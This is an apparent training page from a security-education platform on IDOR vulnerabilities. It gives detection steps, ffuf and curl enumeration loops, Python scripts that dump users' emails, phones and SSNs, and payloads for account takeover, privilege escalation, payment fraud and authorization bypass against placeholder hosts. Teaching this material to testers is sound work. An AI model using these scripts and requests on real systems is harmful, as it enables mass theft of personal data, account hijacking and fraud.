Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) is a web security vulnerability that occurs when an application exposes a direct reference to an internal implementation object, such as a database key or filename. Attackers can manipulate these references to access unauthorized data.

How It Works​

IDOR vulnerabilities arise when an application uses user-supplied input to access objects directly without proper authorization checks. For example, consider this URL:

https://bank.com/account?id=12345

If the application doesn't verify that the logged-in user owns account 12345, an attacker could simply change the ID:

https://bank.com/account?id=12346

This could expose another user's account information if authorization checks are missing.

Detection​

Manual Testing​

URL Parameter Tests​

Testing for IDOR in URL parameters by manipulating identifiers:

# Step 1: Identify direct object references
https://site.com/user/profile?id=123
https://site.com/api/document?doc_id=456
https://site.com/order/view?order=789

# Step 2: Change ID to another value
https://site.com/user/profile?id=124 # Increment by 1
https://site.com/api/document?doc_id=1 # Try minimal value
https://site.com/order/view?order=100 # Try different ranges

# Step 3: Observe response
# - Same access level: Vulnerable to IDOR
# - Different access: Check if sensitive data exposed
# - Error message: Authorization might be in place
# - 403/401: Proper access control exists

POST Body Tests​

Testing IDOR in request bodies:

# Original request
POST /api/update-profile
{
"user_id": 123,
"email": "user@example.com"
}

# Modified request - Try changing user_id
POST /api/update-profile
{
"user_id": 124,
"email": "attacker@example.com"
}

# Array-based references
POST /api/delete-users
{
"ids": [123]
}

# Try adding other IDs
POST /api/delete-users
{
"ids": [123, 124, 125]
}

HTTP Header Tests​

Testing for IDOR in HTTP headers:

# User-ID in custom headers
GET /api/profile HTTP/1.1
X-User-ID: 123
X-Account-ID: 456

# Try modifying header values
GET /api/profile HTTP/1.1
X-User-ID: 124
X-Account-ID: 457

# Authorization tokens with embedded IDs
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...
# Decode, modify user_id, re-encode

Testing IDOR through cookie manipulation:

# Original cookie
Cookie: user_id=123; session=abc123

# Modified cookie
Cookie: user_id=124; session=abc123

# Base64 encoded cookies
Cookie: user_data=eyJ1c2VyX2lkIjoxMjN9
# Decode: {"user_id":123}
# Modify to: {"user_id":124}
# Encode and test

File Access Tests​

Testing for IDOR in file operations:

# Document downloads
https://site.com/download?file=document_123.pdf
https://site.com/download?file=document_124.pdf

# Image access
https://site.com/images/user/123/avatar.jpg
https://site.com/images/user/124/avatar.jpg

# Backup files
https://site.com/backups/user_123_backup.zip
https://site.com/backups/user_124_backup.zip

API Endpoint Tests​

Systematically testing API endpoints for IDOR:

# RESTful API patterns
GET /api/users/123 # Get user details
PUT /api/users/124 # Update different user
DELETE /api/users/125 # Delete different user

# Nested resources
GET /api/companies/1/employees/123 # Access employee
GET /api/companies/2/employees/123 # Try different company

# GraphQL queries
query {
user(id: 123) { email, phone, ssn }
# Try: user(id: 124)
}

Automated Discovery​

Using Burp Suite​

To learn how to use Burp Suite in detail, you can go to our related training page by click here.

# Step 1: Configure Burp Suite Intruder
1. Capture request with ID parameter
2. Send to Intruder (Ctrl+I)
3. Mark ID parameter as payload position: §123§

# Step 2: Configure payload
- Payload type: Numbers (sequential)
- From: 1, To: 10000, Step: 1

# Step 3: Set matching rules
- Grep Match: Look for sensitive keywords
- Filter by status codes
- Sort by response length

# Step 4: Analyze results
- Different response sizes indicate different data
- Same status codes might still contain different data
- Check response times for delays

Using FFUF​

# Basic IDOR fuzzing with ffuf
ffuf -u https://target.com/api/user/FUZZ -w numbers.txt -mc 200

# Custom wordlist generation
seq 1 10000 > ids.txt
ffuf -u https://target.com/api/user/FUZZ -w ids.txt

# With authentication
ffuf -u https://target.com/api/user/FUZZ \
-w ids.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200,301,302 \
-fs 0

# POST request fuzzing
ffuf -u https://target.com/api/user \
-w ids.txt \
-X POST \
-d '{"user_id":"FUZZ"}' \
-H "Content-Type: application/json"

Using Custom Scripts​

# Python script for IDOR testing
import requests

base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
valid_responses = []

for user_id in range(1, 1000):
url = base_url + str(user_id)
response = requests.get(url, headers=headers)

if response.status_code == 200:
# Check if response contains sensitive data
if "email" in response.text or "phone" in response.text:
valid_responses.append({
"id": user_id,
"status": response.status_code,
"length": len(response.text),
"data": response.json()
})
print(f"[+] Found: User ID {user_id}")

# Save results
with open("idor_results.json", "w") as f:
json.dump(valid_responses, f, indent=2)

Attack Vectors​

Numeric ID Manipulation​

Exploiting sequential numeric identifiers:

# Basic increment/decrement
Original: /api/invoice/1234
Test: /api/invoice/1235
Test: /api/invoice/1233

# Range testing
for id in {1..1000}; do
curl https://api.target.com/user/$id -H "Auth: token"
done

# Step-based testing
# Some systems skip IDs (e.g., 100, 200, 300)
for id in {100..10000..100}; do
curl https://api.target.com/order/$id
done

GUID/UUID Manipulation​

Attacking seemingly random identifiers:

# UUID enumeration (if leaked elsewhere)
# UUIDs might be leaked in:
# - JavaScript files
# - API responses for other users
# - Public profiles
# - Email notifications

# Example leaked UUIDs
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440000
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440001

# Predictable UUID generation
# Some UUIDs are time-based (UUID v1)
# These can be predicted if you know the timestamp

Hash-Based ID Bypass​

Exploiting weak hashing or encoding:

# MD5 hashed IDs
# If ID is MD5(user_id), you can generate your own
echo -n "123" | md5sum # 202cb962ac59075b964b07152d234b70
# Test: /api/user/202cb962ac59075b964b07152d234b70

# Base64 encoded IDs
echo "123" | base64 # MTIzCg==
echo "124" | base64 # MTI0Cg==
# Test: /api/user/MTI0Cg==

# URL-safe Base64
echo -n "user:123" | base64 # dXNlcjoxMjM=
echo -n "user:124" | base64 # dXNlcjoxMjQ=

Parameter Pollution​

Using multiple parameters with the same name:

# Standard request
GET /api/profile?user_id=123

# Parameter pollution attempts
GET /api/profile?user_id=123&user_id=124
GET /api/profile?user_id=124&user_id=123
GET /api/profile?user_id[]=123&user_id[]=124

# JSON parameter pollution
POST /api/update
{
"user_id": 123,
"user_id": 124,
"email": "attacker@evil.com"
}

Mass Assignment​

Exploiting missing input validation:

# Original intended request
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com"
}

# Adding unauthorized fields
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com",
"user_id": 124, # Try to modify another user
"role": "admin", # Try privilege escalation
"is_verified": true, # Try to bypass verification
"balance": 999999 # Try to modify sensitive data
}

Blind IDOR Exploitation​

Exploiting IDOR when direct feedback isn't available:

# Delete operations
DELETE /api/user/123 # Your account - check if deleted
DELETE /api/user/124 # Other account - no direct feedback

# Time-based detection
# If operation takes longer, it might be processing
time curl -X DELETE https://api.target.com/user/124

# Out-of-band detection
DELETE /api/user/124
# Check:
# - Email notifications sent to victim
# - Webhook callbacks
# - Database logs (if you gain access later)

# State change verification
POST /api/friend-request?to_user=124
# Check victim's profile or friend list if accessible

Post-Exploitation​

Data Enumeration​

Systematically extracting data:

# Extract all user data
import requests
import json

base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer TOKEN"}
users_data = []

for user_id in range(1, 10000):
try:
response = requests.get(
f"{base_url}{user_id}",
headers=headers,
timeout=5
)

if response.status_code == 200:
user_data = response.json()
users_data.append(user_data)

# Extract sensitive fields
sensitive_info = {
"id": user_id,
"email": user_data.get("email"),
"phone": user_data.get("phone"),
"ssn": user_data.get("ssn"),
"address": user_data.get("address")
}
print(f"[+] User {user_id}: {sensitive_info}")

except Exception as e:
continue

# Save complete dump
with open("user_dump.json", "w") as f:
json.dump(users_data, f, indent=2)

Privilege Escalation​

Exploiting IDOR for privilege escalation:

# Accessing admin functionality
GET /api/admin/users/123
GET /api/admin/settings

# Modifying user roles
PUT /api/user/124
{
"role": "admin",
"permissions": ["read", "write", "delete"]
}

# Accessing restricted resources
GET /api/company/1/financial-reports
GET /api/system/config

Account Takeover​

Using IDOR to take over accounts:

# Password reset via IDOR
POST /api/reset-password
{
"user_id": 124,
"new_password": "attacker_password"
}

# Email change via IDOR
PUT /api/user/124/email
{
"new_email": "attacker@evil.com"
}

# Adding authentication method
POST /api/user/124/add-phone
{
"phone": "+1234567890"
}

Financial Fraud​

Exploiting IDOR in financial operations:

# Modifying transaction amounts
PUT /api/transaction/123
{
"amount": 0.01,
"status": "completed"
}

# Accessing other users' payment methods
GET /api/user/124/payment-methods
POST /api/payment/charge
{
"user_id": 124,
"payment_method_id": "pm_abc123",
"amount": 100
}

# Refund manipulation
POST /api/refund
{
"transaction_id": 124,
"account_id": 999 # Attacker's account
}

Bypass Techniques​

Weak Authorization Bypass​

Bypassing insufficient authorization checks:

# Role-based bypass
# If authorization only checks role, not ownership
GET /api/admin/user/123 # Blocked
GET /api/user/123 # Check if accessible with user role

# HTTP Method bypass
GET /api/user/123 # Blocked
POST /api/user/123 # Try different method
HEAD /api/user/123 # Try HEAD request

Path Traversal Bypass​

Using path manipulation to bypass checks:

# Directory traversal
GET /api/user/123
GET /api/user/../user/124
GET /api/user/./124

# Encoding bypass
GET /api/user/%2e%2e%2fuser%2f124
GET /api/user/..%2fuser%2f124

# Null byte injection (older systems)
GET /api/user/123%00/../../user/124

Content-Type Bypass​

Changing content type to bypass validation:

# Original JSON request (blocked)
POST /api/update-profile
Content-Type: application/json
{"user_id": 124}

# Try XML
POST /api/update-profile
Content-Type: application/xml
<user>
<user_id>124</user_id>
</user>

# Try form data
POST /api/update-profile
Content-Type: application/x-www-form-urlencoded
user_id=124

Array Wrapping​

Wrapping parameters in arrays:

# Blocked
{
"user_id": 124
}

# Try array wrapping
{
"user_id": [124]
}

# Try nested object
{
"user": {
"id": 124
}
}

# Try multiple values
{
"user_id": [123, 124]
}

Token Confusion​

Exploiting token handling issues:

# Using expired tokens
# Some systems validate token but ignore expiry

# Using tokens from different endpoints
# Token from /api/v1/user might work on /api/v2/user

# Missing token validation
# Some endpoints might not validate token at all
curl https://api.target.com/user/124
# Try without Authorization header

# JWT algorithm confusion
# Change alg from RS256 to HS256
# Change alg to "none"

Wildcard Exploitation​

Using wildcards in ID parameters:

# Wildcard in IDs
GET /api/user/*
GET /api/user/%
GET /api/user/_

# Regex exploitation
GET /api/user/.*
GET /api/user/[0-9]+

# Range specification
GET /api/users?ids=1-100
GET /api/users?ids=*

Common Tools​

ToolDescriptionPrimary Use Case
Burp SuiteWeb vulnerability scannerIDOR discovery and exploitation
FFUFFast web fuzzerID enumeration
AutorizeBurp extensionAuthorization testing
AuthMatrixBurp extensionAccess control testing
InQLBurp extensionGraphQL IDOR testing
PostmanAPI testing toolManual IDOR testing